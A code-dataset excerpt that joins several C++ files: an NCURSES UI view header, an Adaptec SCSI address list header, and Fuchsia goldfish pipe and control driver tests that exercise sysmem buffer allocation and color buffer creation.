typedef std::unordered_map<int, KeyProcessor> KeyProcessingModeMap;
// Statically initializes an NCURSES window on first construction of any
// derived instances.
explicit UIView(const KeyProcessingModeMap& key_processing_mode_map);
// Statically cleans up an NCURSES window upon last destruction of any derived
// instances.
virtual ~UIView();
protected:
// Renders the current UI. This should be implemented by derived classes.
virtual void Render() = 0;
// Starts the event loop. This will repeatedly call fetch the next keyboard
// event, invoke ProcessKey(), and Render(). Will exit the loop when
// ExitEventLoop() is invoked. initial_mode specifies the initial key
// processing mode.
void EventLoop(int initial_key_processing_mode);
// Causes the event loop to exit.
void ExitEventLoop();
// Switches key processing mode.
void SwitchKeyProcessingMode(int new_key_processing_mode);
// Returns the current key processing mode.
int GetKeyProcessingMode() const { return _key_processing_mode; }
// Returns the full-screen NCURSES window.
WINDOW* GetWindow() const;
private:
// A mutex protecting static members.
static std::mutex _mutex;
// Reference counter. This is the number of derived instances currently
// instantiated. Protected by _mutex.
static int _num_instances;
// The NCURSES WINDOW. Will be nullptr if uninitialized. Protected by _mutex.
static WINDOW* _window;
// Maps key processing modes to the actual handler.
const KeyProcessingModeMap _key_processing_mode_map;
// The current key processing mode.
int _key_processing_mode;
// Whether to exit the event loop.
bool _exit_event_loop;
};
#endif
| 43.275862 | 80 | 0.603984 | m-shibata |
6004afd114b0739524d6864bcb721af3dfb80b4b | 3,609 | hpp | C++ | raidutil/scsilist.hpp | barak/raidutils | 8eed7a577ac4565da324cd742e8f1afe7ae101e0 | [
"BSD-3-Clause"
] | null | null | null | raidutil/scsilist.hpp | barak/raidutils | 8eed7a577ac4565da324cd742e8f1afe7ae101e0 | [
"BSD-3-Clause"
] | null | null | null | raidutil/scsilist.hpp | barak/raidutils | 8eed7a577ac4565da324cd742e8f1afe7ae101e0 | [
"BSD-3-Clause"
] | null | null | null | /* Copyright (c) 1996-2004, Adaptec Corporation
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
*
* - Redistributions of source code must retain the above copyright notice, this
* list of conditions and the following disclaimer.
* - Redistributions in binary form must reproduce the above copyright notice,
* this list of conditions and the following disclaimer in the documentation
* and/or other materials provided with the distribution.
* - Neither the name of the Adaptec Corporation nor the names of its
* contributors may be used to endorse or promote products derived from this
* software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
* LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*/
#ifndef SCSILIST_HPP
#define SCSILIST_HPP
/****************************************************************************
*
* Created: 7/20/98
*
*****************************************************************************
*
* File Name: ScsiList.hpp
* Module:
* Contributors: Lee Page
* Description: This file serves as a container class, holding a list of scsi
addresses.
* Version Control:
*
* $Revision$
* $NoKeywords: $
* $Log$
* Revision 1.1.1.1 2004-04-29 10:20:11 bap
* Imported upstream version 0.0.4.
*
*****************************************************************************/
/*** INCLUDES ***/
#include "scsiaddr.hpp"
/*** CONSTANTS ***/
/*** TYPES ***/
/*** STATIC DATA ***/
/*** MACROS ***/
/*** PROTOTYPES ***/
/*** FUNCTIONS ***/
class SCSI_Addr_List
{
public:
SCSI_Addr_List();
SCSI_Addr_List( const SCSI_Addr_List &right );
~SCSI_Addr_List();
SCSI_Addr_List &operator += ( const SCSI_Addr_List &right );
const SCSI_Addr_List & operator = ( const SCSI_Addr_List &right );
void add_Item( const SCSI_Address &address );
// Fetches the nth str (0 based). The user should not
// deallocate the returned address. It is owned by the
// object.
SCSI_Address &get_Item( int index ) const;
// Fetches the next address. The user should not deallocate
// the returned address. It is owned by the object.
SCSI_Address &get_Next_Item();
// FIFO. Removes the first item from the list, and returns it.
SCSI_Address shift_Item();
// Resets the get_Next_Address index to point to the first item.
void reset_Next_Index();
// returns the number of entries minus the index
int num_Left() const;
int get_Num_Items() const { return( num_Items ); }
// returns true if addr is already in the list, false otherwise
bool In_List (const SCSI_Address &addr);
private:
void Destroy_Items();
void Copy_Items( const SCSI_Addr_List &right );
int num_Items;
SCSI_Address **items;
int next_Item_Index;
};
#endif
/*** END OF FILE ***/
| 34.701923 | 81 | 0.674425 | barak |
60077b67dcd97f0d3de379508d2a3781ca6384c2 | 55,763 | cc | C++ | src/graphics/tests/goldfish_test/goldfish_test.cc | DamieFC/fuchsia | f78a4a1326f4a4bb5834500918756173c01bab4f | [
"BSD-2-Clause"
] | 1 | 2020-12-29T17:07:06.000Z | 2020-12-29T17:07:06.000Z | src/graphics/tests/goldfish_test/goldfish_test.cc | DamieFC/fuchsia | f78a4a1326f4a4bb5834500918756173c01bab4f | [
"BSD-2-Clause"
] | null | null | null | src/graphics/tests/goldfish_test/goldfish_test.cc | DamieFC/fuchsia | f78a4a1326f4a4bb5834500918756173c01bab4f | [
"BSD-2-Clause"
] | null | null | null | // Copyright 2019 The Fuchsia Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include <fcntl.h>
#include <fuchsia/hardware/goldfish/llcpp/fidl.h>
#include <fuchsia/sysmem/llcpp/fidl.h>
#include <lib/fdio/directory.h>
#include <lib/fdio/fdio.h>
#include <lib/zx/channel.h>
#include <lib/zx/time.h>
#include <lib/zx/vmar.h>
#include <lib/zx/vmo.h>
#include <unistd.h>
#include <zircon/syscalls.h>
#include <zircon/types.h>
#include <gtest/gtest.h>
TEST(GoldfishPipeTests, GoldfishPipeTest) {
int fd = open("/dev/class/goldfish-pipe/000", O_RDWR);
EXPECT_GE(fd, 0);
zx::channel channel;
EXPECT_EQ(fdio_get_service_handle(fd, channel.reset_and_get_address()), ZX_OK);
zx::channel pipe_client;
zx::channel pipe_server;
EXPECT_EQ(zx::channel::create(0, &pipe_client, &pipe_server), ZX_OK);
llcpp::fuchsia::hardware::goldfish::PipeDevice::SyncClient pipe_device(std::move(channel));
EXPECT_TRUE(pipe_device.OpenPipe(std::move(pipe_server)).ok());
llcpp::fuchsia::hardware::goldfish::Pipe::SyncClient pipe(std::move(pipe_client));
const size_t kSize = 3 * 4096;
{
auto result = pipe.SetBufferSize(kSize);
ASSERT_TRUE(result.ok());
EXPECT_EQ(result.Unwrap()->res, ZX_OK);
}
zx::vmo vmo;
{
auto result = pipe.GetBuffer();
ASSERT_TRUE(result.ok());
vmo = std::move(result.Unwrap()->vmo);
}
// Connect to pingpong service.
constexpr char kPipeName[] = "pipe:pingpong";
size_t bytes = strlen(kPipeName) + 1;
EXPECT_EQ(vmo.write(kPipeName, 0, bytes), ZX_OK);
{
auto result = pipe.Write(bytes, 0);
ASSERT_TRUE(result.ok());
EXPECT_EQ(result.Unwrap()->res, ZX_OK);
EXPECT_EQ(result.Unwrap()->actual, bytes);
}
// Write 1 byte.
const uint8_t kSentinel = 0xaa;
EXPECT_EQ(vmo.write(&kSentinel, 0, 1), ZX_OK);
{
auto result = pipe.Write(1, 0);
ASSERT_TRUE(result.ok());
EXPECT_EQ(result.Unwrap()->res, ZX_OK);
EXPECT_EQ(result.Unwrap()->actual, 1U);
}
// Read 1 byte result.
{
auto result = pipe.Read(1, 0);
ASSERT_TRUE(result.ok());
EXPECT_EQ(result.Unwrap()->res, ZX_OK);
EXPECT_EQ(result.Unwrap()->actual, 1U);
}
uint8_t result = 0;
EXPECT_EQ(vmo.read(&result, 0, 1), ZX_OK);
// pingpong service should have returned the data received.
EXPECT_EQ(result, kSentinel);
// Write 3 * 4096 bytes.
uint8_t send_buffer[kSize];
memset(send_buffer, kSentinel, kSize);
EXPECT_EQ(vmo.write(send_buffer, 0, kSize), ZX_OK);
{
auto result = pipe.Write(kSize, 0);
ASSERT_TRUE(result.ok());
EXPECT_EQ(result.Unwrap()->res, ZX_OK);
EXPECT_EQ(result.Unwrap()->actual, kSize);
}
// Read 3 * 4096 bytes.
{
auto result = pipe.Read(kSize, 0);
ASSERT_TRUE(result.ok());
EXPECT_EQ(result.Unwrap()->res, ZX_OK);
EXPECT_EQ(result.Unwrap()->actual, kSize);
}
uint8_t recv_buffer[kSize];
EXPECT_EQ(vmo.read(recv_buffer, 0, kSize), ZX_OK);
// pingpong service should have returned the data received.
EXPECT_EQ(memcmp(send_buffer, recv_buffer, kSize), 0);
// Write & Read 4096 bytes.
const size_t kSmallSize = kSize / 3;
const size_t kRecvOffset = kSmallSize;
memset(send_buffer, kSentinel, kSmallSize);
EXPECT_EQ(vmo.write(send_buffer, 0, kSmallSize), ZX_OK);
{
auto result = pipe.DoCall(kSmallSize, 0u, kSmallSize, kRecvOffset);
ASSERT_TRUE(result.ok());
EXPECT_EQ(result.Unwrap()->res, ZX_OK);
EXPECT_EQ(result.Unwrap()->actual, 2 * kSmallSize);
}
EXPECT_EQ(vmo.read(recv_buffer, kRecvOffset, kSmallSize), ZX_OK);
// pingpong service should have returned the data received.
EXPECT_EQ(memcmp(send_buffer, recv_buffer, kSmallSize), 0);
}
TEST(GoldfishControlTests, GoldfishControlTest) {
int fd = open("/dev/class/goldfish-control/000", O_RDWR);
EXPECT_GE(fd, 0);
zx::channel channel;
EXPECT_EQ(fdio_get_service_handle(fd, channel.reset_and_get_address()), ZX_OK);
zx::channel allocator_client;
zx::channel allocator_server;
EXPECT_EQ(zx::channel::create(0, &allocator_client, &allocator_server), ZX_OK);
EXPECT_EQ(fdio_service_connect("/svc/fuchsia.sysmem.Allocator", allocator_server.release()),
ZX_OK);
llcpp::fuchsia::sysmem::Allocator::SyncClient allocator(std::move(allocator_client));
zx::channel token_client;
zx::channel token_server;
EXPECT_EQ(zx::channel::create(0, &token_client, &token_server), ZX_OK);
EXPECT_TRUE(allocator.AllocateSharedCollection(std::move(token_server)).ok());
zx::channel collection_client;
zx::channel collection_server;
EXPECT_EQ(zx::channel::create(0, &collection_client, &collection_server), ZX_OK);
EXPECT_TRUE(
allocator.BindSharedCollection(std::move(token_client), std::move(collection_server)).ok());
llcpp::fuchsia::sysmem::BufferCollectionConstraints constraints;
constraints.usage.vulkan = llcpp::fuchsia::sysmem::VULKAN_IMAGE_USAGE_TRANSFER_DST;
constraints.min_buffer_count_for_camping = 1;
constraints.has_buffer_memory_constraints = true;
constraints.buffer_memory_constraints = llcpp::fuchsia::sysmem::BufferMemoryConstraints{
.min_size_bytes = 4 * 1024,
.max_size_bytes = 4 * 1024,
.physically_contiguous_required = false,
.secure_required = false,
.ram_domain_supported = false,
.cpu_domain_supported = false,
.inaccessible_domain_supported = true,
.heap_permitted_count = 1,
.heap_permitted = {llcpp::fuchsia::sysmem::HeapType::GOLDFISH_DEVICE_LOCAL}};
llcpp::fuchsia::sysmem::BufferCollection::SyncClient collection(std::move(collection_client));
EXPECT_TRUE(collection.SetConstraints(true, std::move(constraints)).ok());
llcpp::fuchsia::sysmem::BufferCollectionInfo_2 info;
{
auto result = collection.WaitForBuffersAllocated();
ASSERT_TRUE(result.ok());
EXPECT_EQ(result.Unwrap()->status, ZX_OK);
info = std::move(result.Unwrap()->buffer_collection_info);
EXPECT_EQ(info.buffer_count, 1U);
EXPECT_TRUE(info.buffers[0].vmo.is_valid());
}
zx::vmo vmo = std::move(info.buffers[0].vmo);
EXPECT_TRUE(vmo.is_valid());
EXPECT_TRUE(collection.Close().ok());
zx::vmo vmo_copy;
EXPECT_EQ(vmo.duplicate(ZX_RIGHT_SAME_RIGHTS, &vmo_copy), ZX_OK);
llcpp::fuchsia::hardware::goldfish::ControlDevice::SyncClient control(std::move(channel));
{
auto create_params =
llcpp::fuchsia::hardware::goldfish::CreateColorBuffer2Params::Builder(
std::make_unique<llcpp::fuchsia::hardware::goldfish::CreateColorBuffer2Params::Frame>())
.set_width(std::make_unique<uint32_t>(64))
.set_height(std::make_unique<uint32_t>(64))
.set_format(std::make_unique<llcpp::fuchsia::hardware::goldfish::ColorBufferFormatType>(
llcpp::fuchsia::hardware::goldfish::ColorBufferFormatType::BGRA))
.set_memory_property(std::make_unique<uint32_t>(
llcpp::fuchsia::hardware::goldfish::MEMORY_PROPERTY_DEVICE_LOCAL))
.build();
auto result = control.CreateColorBuffer2(std::move(vmo_copy), std::move(create_params));
ASSERT_TRUE(result.ok());
EXPECT_EQ(result.Unwrap()->res, ZX_OK);
}
zx::vmo vmo_copy2;
EXPECT_EQ(vmo.duplicate(ZX_RIGHT_SAME_RIGHTS, &vmo_copy2), ZX_OK);
{
auto result = control.GetBufferHandle(std::move(vmo_copy2));
ASSERT_TRUE(result.ok());
EXPECT_EQ(result.Unwrap()->res, ZX_OK);
EXPECT_NE(result.Unwrap()->id, 0u);
EXPECT_EQ(result.Unwrap()->type,
llcpp::fuchsia::hardware::goldfish::BufferHandleType::COLOR_BUFFER);
}
zx::vmo vmo_copy3;
EXPECT_EQ(vmo.duplicate(ZX_RIGHT_SAME_RIGHTS, &vmo_copy3), ZX_OK);
{
auto create_params =
llcpp::fuchsia::hardware::goldfish::CreateColorBuffer2Params::Builder(
std::make_unique<llcpp::fuchsia::hardware::goldfish::CreateColorBuffer2Params::Frame>())
.set_width(std::make_unique<uint32_t>(64))
.set_height(std::make_unique<uint32_t>(64))
.set_format(std::make_unique<llcpp::fuchsia::hardware::goldfish::ColorBufferFormatType>(
llcpp::fuchsia::hardware::goldfish::ColorBufferFormatType::BGRA))
.set_memory_property(std::make_unique<uint32_t>(
llcpp::fuchsia::hardware::goldfish::MEMORY_PROPERTY_DEVICE_LOCAL))
.build();
auto result = control.CreateColorBuffer2(std::move(vmo_copy3), std::move(create_params));
ASSERT_TRUE(result.ok());
EXPECT_EQ(result.Unwrap()->res, ZX_ERR_ALREADY_EXISTS);
}
}
TEST(GoldfishControlTests, GoldfishControlTest_HostVisible) {
int fd = open("/dev/class/goldfish-control/000", O_RDWR);
EXPECT_GE(fd, 0);
zx::channel channel;
EXPECT_EQ(fdio_get_service_handle(fd, channel.reset_and_get_address()), ZX_OK);
zx::channel allocator_client;
zx::channel allocator_server;
EXPECT_EQ(zx::channel::create(0, &allocator_client, &allocator_server), ZX_OK);
EXPECT_EQ(fdio_service_connect("/svc/fuchsia.sysmem.Allocator", allocator_server.release()),
ZX_OK);
llcpp::fuchsia::sysmem::Allocator::SyncClient allocator(std::move(allocator_client));
zx::channel token_client;
zx::channel token_server;
EXPECT_EQ(zx::channel::create(0, &token_client, &token_server), ZX_OK);
EXPECT_TRUE(allocator.AllocateSharedCollection(std::move(token_server)).ok());
zx::channel collection_client;
zx::channel collection_server;
EXPECT_EQ(zx::channel::create(0, &collection_client, &collection_server), ZX_OK);
EXPECT_TRUE(
allocator.BindSharedCollection(std::move(token_client), std::move(collection_server)).ok());
const size_t kMinSizeBytes = 4 * 1024;
const size_t kMaxSizeBytes = 4 * 4096;
llcpp::fuchsia::sysmem::BufferCollectionConstraints constraints;
constraints.usage.vulkan = llcpp::fuchsia::sysmem::VULKAN_IMAGE_USAGE_TRANSFER_DST;
constraints.min_buffer_count_for_camping = 1;
constraints.has_buffer_memory_constraints = true;
constraints.buffer_memory_constraints = llcpp::fuchsia::sysmem::BufferMemoryConstraints{
.min_size_bytes = kMinSizeBytes,
.max_size_bytes = kMaxSizeBytes,
.physically_contiguous_required = false,
.secure_required = false,
.ram_domain_supported = false,
.cpu_domain_supported = true,
.inaccessible_domain_supported = false,
.heap_permitted_count = 1,
.heap_permitted = {llcpp::fuchsia::sysmem::HeapType::GOLDFISH_HOST_VISIBLE}};
constraints.image_format_constraints_count = 1;
constraints.image_format_constraints[0] = llcpp::fuchsia::sysmem::ImageFormatConstraints{
.pixel_format =
llcpp::fuchsia::sysmem::PixelFormat{
.type = llcpp::fuchsia::sysmem::PixelFormatType::BGRA32,
.has_format_modifier = false,
.format_modifier = {},
},
.color_spaces_count = 1,
.color_space =
{
llcpp::fuchsia::sysmem::ColorSpace{.type =
llcpp::fuchsia::sysmem::ColorSpaceType::SRGB},
},
.min_coded_width = 32,
.min_coded_height = 32,
};
llcpp::fuchsia::sysmem::BufferCollection::SyncClient collection(std::move(collection_client));
EXPECT_TRUE(collection.SetConstraints(true, std::move(constraints)).ok());
llcpp::fuchsia::sysmem::BufferCollectionInfo_2 info;
{
auto result = collection.WaitForBuffersAllocated();
ASSERT_TRUE(result.ok());
EXPECT_EQ(result.Unwrap()->status, ZX_OK);
info = std::move(result.Unwrap()->buffer_collection_info);
EXPECT_EQ(info.buffer_count, 1U);
EXPECT_TRUE(info.buffers[0].vmo.is_valid());
EXPECT_EQ(info.settings.buffer_settings.coherency_domain,
llcpp::fuchsia::sysmem::CoherencyDomain::CPU);
}
zx::vmo vmo = std::move(info.buffers[0].vmo);
EXPECT_TRUE(vmo.is_valid());
uint64_t vmo_size;
EXPECT_EQ(vmo.get_size(&vmo_size), ZX_OK);
EXPECT_GE(vmo_size, kMinSizeBytes);
EXPECT_LE(vmo_size, kMaxSizeBytes);
// Test if the vmo is mappable.
zx_vaddr_t addr;
EXPECT_EQ(zx::vmar::root_self()->map(ZX_VM_PERM_READ | ZX_VM_PERM_WRITE, /*vmar_offset*/ 0, vmo,
/*vmo_offset*/ 0, vmo_size, &addr),
ZX_OK);
// Test if write and read works correctly.
uint8_t* ptr = reinterpret_cast<uint8_t*>(addr);
std::vector<uint8_t> copy_target(vmo_size, 0u);
for (uint32_t trial = 0; trial < 10u; trial++) {
memset(ptr, trial, vmo_size);
memcpy(copy_target.data(), ptr, vmo_size);
zx_cache_flush(ptr, vmo_size, ZX_CACHE_FLUSH_DATA | ZX_CACHE_FLUSH_INVALIDATE);
EXPECT_EQ(memcmp(copy_target.data(), ptr, vmo_size), 0);
}
EXPECT_EQ(zx::vmar::root_self()->unmap(addr, PAGE_SIZE), ZX_OK);
EXPECT_TRUE(collection.Close().ok());
}
TEST(GoldfishControlTests, GoldfishControlTest_HostVisibleBuffer) {
int fd = open("/dev/class/goldfish-control/000", O_RDWR);
EXPECT_GE(fd, 0);
zx::channel channel;
EXPECT_EQ(fdio_get_service_handle(fd, channel.reset_and_get_address()), ZX_OK);
zx::channel allocator_client;
zx::channel allocator_server;
EXPECT_EQ(zx::channel::create(0, &allocator_client, &allocator_server), ZX_OK);
EXPECT_EQ(fdio_service_connect("/svc/fuchsia.sysmem.Allocator", allocator_server.release()),
ZX_OK);
llcpp::fuchsia::sysmem::Allocator::SyncClient allocator(std::move(allocator_client));
zx::channel token_client;
zx::channel token_server;
EXPECT_EQ(zx::channel::create(0, &token_client, &token_server), ZX_OK);
EXPECT_TRUE(allocator.AllocateSharedCollection(std::move(token_server)).ok());
zx::channel collection_client;
zx::channel collection_server;
EXPECT_EQ(zx::channel::create(0, &collection_client, &collection_server), ZX_OK);
EXPECT_TRUE(
allocator.BindSharedCollection(std::move(token_client), std::move(collection_server)).ok());
const size_t kMinSizeBytes = 4 * 1024;
const size_t kMaxSizeBytes = 4 * 4096;
llcpp::fuchsia::sysmem::BufferCollectionConstraints constraints;
constraints.usage.vulkan = llcpp::fuchsia::sysmem::vulkanUsageTransferDst;
constraints.min_buffer_count_for_camping = 1;
constraints.has_buffer_memory_constraints = true;
constraints.buffer_memory_constraints = llcpp::fuchsia::sysmem::BufferMemoryConstraints{
.min_size_bytes = kMinSizeBytes,
.max_size_bytes = kMaxSizeBytes,
.physically_contiguous_required = false,
.secure_required = false,
.ram_domain_supported = false,
.cpu_domain_supported = true,
.inaccessible_domain_supported = false,
.heap_permitted_count = 1,
.heap_permitted = {llcpp::fuchsia::sysmem::HeapType::GOLDFISH_HOST_VISIBLE}};
constraints.image_format_constraints_count = 0;
llcpp::fuchsia::sysmem::BufferCollection::SyncClient collection(std::move(collection_client));
EXPECT_TRUE(collection.SetConstraints(true, std::move(constraints)).ok());
llcpp::fuchsia::sysmem::BufferCollectionInfo_2 info;
{
auto result = collection.WaitForBuffersAllocated();
ASSERT_TRUE(result.ok());
EXPECT_EQ(result.Unwrap()->status, ZX_OK);
info = std::move(result.Unwrap()->buffer_collection_info);
EXPECT_EQ(info.buffer_count, 1U);
EXPECT_TRUE(info.buffers[0].vmo.is_valid());
EXPECT_EQ(info.settings.buffer_settings.coherency_domain,
llcpp::fuchsia::sysmem::CoherencyDomain::CPU);
}
zx::vmo vmo = std::move(info.buffers[0].vmo);
EXPECT_TRUE(vmo.is_valid());
uint64_t vmo_size;
EXPECT_EQ(vmo.get_size(&vmo_size), ZX_OK);
EXPECT_GE(vmo_size, kMinSizeBytes);
EXPECT_LE(vmo_size, kMaxSizeBytes);
// Test if the vmo is mappable.
zx_vaddr_t addr;
EXPECT_EQ(zx::vmar::root_self()->map(ZX_VM_PERM_READ | ZX_VM_PERM_WRITE, /*vmar_offset*/ 0, vmo,
/*vmo_offset*/ 0, vmo_size, &addr),
ZX_OK);
// Test if write and read works correctly.
uint8_t* ptr = reinterpret_cast<uint8_t*>(addr);
std::vector<uint8_t> copy_target(vmo_size, 0u);
for (uint32_t trial = 0; trial < 10u; trial++) {
memset(ptr, trial, vmo_size);
memcpy(copy_target.data(), ptr, vmo_size);
zx_cache_flush(ptr, vmo_size, ZX_CACHE_FLUSH_DATA | ZX_CACHE_FLUSH_INVALIDATE);
EXPECT_EQ(memcmp(copy_target.data(), ptr, vmo_size), 0);
}
EXPECT_EQ(zx::vmar::root_self()->unmap(addr, PAGE_SIZE), ZX_OK);
EXPECT_TRUE(collection.Close().ok());
}
TEST(GoldfishControlTests, GoldfishControlTest_DataBuffer) {
int fd = open("/dev/class/goldfish-control/000", O_RDWR);
EXPECT_GE(fd, 0);
zx::channel channel;
EXPECT_EQ(fdio_get_service_handle(fd, channel.reset_and_get_address()), ZX_OK);
zx::channel allocator_client;
zx::channel allocator_server;
EXPECT_EQ(zx::channel::create(0, &allocator_client, &allocator_server), ZX_OK);
EXPECT_EQ(fdio_service_connect("/svc/fuchsia.sysmem.Allocator", allocator_server.release()),
ZX_OK);
llcpp::fuchsia::sysmem::Allocator::SyncClient allocator(std::move(allocator_client));
zx::channel token_client;
zx::channel token_server;
EXPECT_EQ(zx::channel::create(0, &token_client, &token_server), ZX_OK);
EXPECT_TRUE(allocator.AllocateSharedCollection(std::move(token_server)).ok());
zx::channel collection_client;
zx::channel collection_server;
EXPECT_EQ(zx::channel::create(0, &collection_client, &collection_server), ZX_OK);
EXPECT_TRUE(
allocator.BindSharedCollection(std::move(token_client), std::move(collection_server)).ok());
constexpr size_t kBufferSizeBytes = 4 * 1024;
llcpp::fuchsia::sysmem::BufferCollectionConstraints constraints;
constraints.usage.vulkan = llcpp::fuchsia::sysmem::VULKAN_BUFFER_USAGE_TRANSFER_DST;
constraints.min_buffer_count_for_camping = 1;
constraints.has_buffer_memory_constraints = true;
constraints.buffer_memory_constraints = llcpp::fuchsia::sysmem::BufferMemoryConstraints{
.min_size_bytes = kBufferSizeBytes,
.max_size_bytes = kBufferSizeBytes,
.physically_contiguous_required = false,
.secure_required = false,
.ram_domain_supported = false,
.cpu_domain_supported = false,
.inaccessible_domain_supported = true,
.heap_permitted_count = 1,
.heap_permitted = {llcpp::fuchsia::sysmem::HeapType::GOLDFISH_DEVICE_LOCAL}};
llcpp::fuchsia::sysmem::BufferCollection::SyncClient collection(std::move(collection_client));
EXPECT_TRUE(collection.SetConstraints(true, std::move(constraints)).ok());
llcpp::fuchsia::sysmem::BufferCollectionInfo_2 info;
{
auto result = collection.WaitForBuffersAllocated();
ASSERT_TRUE(result.ok());
EXPECT_EQ(result.Unwrap()->status, ZX_OK);
info = std::move(result.Unwrap()->buffer_collection_info);
EXPECT_EQ(info.buffer_count, 1u);
EXPECT_TRUE(info.buffers[0].vmo.is_valid());
}
zx::vmo vmo = std::move(info.buffers[0].vmo);
EXPECT_TRUE(vmo.is_valid());
EXPECT_TRUE(collection.Close().ok());
zx::vmo vmo_copy;
EXPECT_EQ(vmo.duplicate(ZX_RIGHT_SAME_RIGHTS, &vmo_copy), ZX_OK);
llcpp::fuchsia::hardware::goldfish::ControlDevice::SyncClient control(std::move(channel));
{
auto create_params =
llcpp::fuchsia::hardware::goldfish::CreateBuffer2Params::Builder(
std::make_unique<llcpp::fuchsia::hardware::goldfish::CreateBuffer2Params::Frame>())
.set_size(std::make_unique<uint64_t>(kBufferSizeBytes))
.set_memory_property(std::make_unique<uint32_t>(
llcpp::fuchsia::hardware::goldfish::MEMORY_PROPERTY_DEVICE_LOCAL))
.build();
auto result = control.CreateBuffer2(std::move(vmo_copy), std::move(create_params));
ASSERT_TRUE(result.ok());
ASSERT_TRUE(result.value().result.is_response());
}
zx::vmo vmo_copy2;
EXPECT_EQ(vmo.duplicate(ZX_RIGHT_SAME_RIGHTS, &vmo_copy2), ZX_OK);
{
auto result = control.GetBufferHandle(std::move(vmo_copy2));
ASSERT_TRUE(result.ok());
EXPECT_EQ(result.Unwrap()->res, ZX_OK);
EXPECT_NE(result.Unwrap()->id, 0u);
EXPECT_EQ(result.Unwrap()->type, llcpp::fuchsia::hardware::goldfish::BufferHandleType::BUFFER);
}
zx::vmo vmo_copy3;
EXPECT_EQ(vmo.duplicate(ZX_RIGHT_SAME_RIGHTS, &vmo_copy3), ZX_OK);
{
auto create_params =
llcpp::fuchsia::hardware::goldfish::CreateColorBuffer2Params::Builder(
std::make_unique<llcpp::fuchsia::hardware::goldfish::CreateColorBuffer2Params::Frame>())
.set_width(std::make_unique<uint32_t>(64))
.set_height(std::make_unique<uint32_t>(64))
.set_format(std::make_unique<llcpp::fuchsia::hardware::goldfish::ColorBufferFormatType>(
llcpp::fuchsia::hardware::goldfish::ColorBufferFormatType::BGRA))
.set_memory_property(std::make_unique<uint32_t>(
llcpp::fuchsia::hardware::goldfish::MEMORY_PROPERTY_DEVICE_LOCAL))
.build();
auto result = control.CreateColorBuffer2(std::move(vmo_copy3), std::move(create_params));
ASSERT_TRUE(result.ok());
EXPECT_EQ(result.Unwrap()->res, ZX_ERR_ALREADY_EXISTS);
}
zx::vmo vmo_copy4;
EXPECT_EQ(vmo.duplicate(ZX_RIGHT_SAME_RIGHTS, &vmo_copy4), ZX_OK);
{
auto create_params =
llcpp::fuchsia::hardware::goldfish::CreateBuffer2Params::Builder(
std::make_unique<llcpp::fuchsia::hardware::goldfish::CreateBuffer2Params::Frame>())
.set_size(std::make_unique<uint64_t>(kBufferSizeBytes))
.set_memory_property(std::make_unique<uint32_t>(
llcpp::fuchsia::hardware::goldfish::MEMORY_PROPERTY_DEVICE_LOCAL))
.build();
auto result = control.CreateBuffer2(std::move(vmo_copy4), std::move(create_params));
ASSERT_TRUE(result.ok());
ASSERT_TRUE(result.value().result.is_err());
EXPECT_EQ(result.value().result.err(), ZX_ERR_ALREADY_EXISTS);
}
}
// In this test case we call CreateColorBuffer() and GetBufferHandle()
// on VMOs not registered with goldfish sysmem heap.
//
// The IPC transmission should succeed but FIDL interface should
// return ZX_ERR_INVALID_ARGS.
TEST(GoldfishControlTests, GoldfishControlTest_InvalidVmo) {
int fd = open("/dev/class/goldfish-control/000", O_RDWR);
EXPECT_GE(fd, 0);
zx::channel channel;
EXPECT_EQ(fdio_get_service_handle(fd, channel.reset_and_get_address()), ZX_OK);
zx::vmo non_sysmem_vmo;
EXPECT_EQ(zx::vmo::create(1024u, 0u, &non_sysmem_vmo), ZX_OK);
// Call CreateColorBuffer() using vmo not registered with goldfish
// sysmem heap.
zx::vmo vmo_copy;
EXPECT_EQ(non_sysmem_vmo.duplicate(ZX_RIGHT_SAME_RIGHTS, &vmo_copy), ZX_OK);
llcpp::fuchsia::hardware::goldfish::ControlDevice::SyncClient control(std::move(channel));
{
auto create_params =
llcpp::fuchsia::hardware::goldfish::CreateColorBuffer2Params::Builder(
std::make_unique<llcpp::fuchsia::hardware::goldfish::CreateColorBuffer2Params::Frame>())
.set_width(std::make_unique<uint32_t>(16))
.set_height(std::make_unique<uint32_t>(16))
.set_format(std::make_unique<llcpp::fuchsia::hardware::goldfish::ColorBufferFormatType>(
llcpp::fuchsia::hardware::goldfish::ColorBufferFormatType::BGRA))
.set_memory_property(std::make_unique<uint32_t>(
llcpp::fuchsia::hardware::goldfish::MEMORY_PROPERTY_DEVICE_LOCAL))
.build();
auto result = control.CreateColorBuffer2(std::move(vmo_copy), std::move(create_params));
ASSERT_TRUE(result.ok());
EXPECT_EQ(result.Unwrap()->res, ZX_ERR_INVALID_ARGS);
}
// Call GetBufferHandle() using vmo not registered with goldfish
// sysmem heap.
zx::vmo vmo_copy2;
EXPECT_EQ(non_sysmem_vmo.duplicate(ZX_RIGHT_SAME_RIGHTS, &vmo_copy2), ZX_OK);
{
auto result = control.GetBufferHandle(std::move(vmo_copy2));
ASSERT_TRUE(result.ok());
EXPECT_EQ(result.Unwrap()->res, ZX_ERR_INVALID_ARGS);
}
}
// In this test case we test arguments of CreateColorBuffer2() method.
// If a mandatory field is missing, it should return "ZX_ERR_INVALID_ARGS".
TEST(GoldfishControlTests, GoldfishControlTest_CreateColorBuffer2Args) {
// Setup control device.
int control_device_fd = open("/dev/class/goldfish-control/000", O_RDWR);
EXPECT_GE(control_device_fd, 0);
zx::channel control_channel;
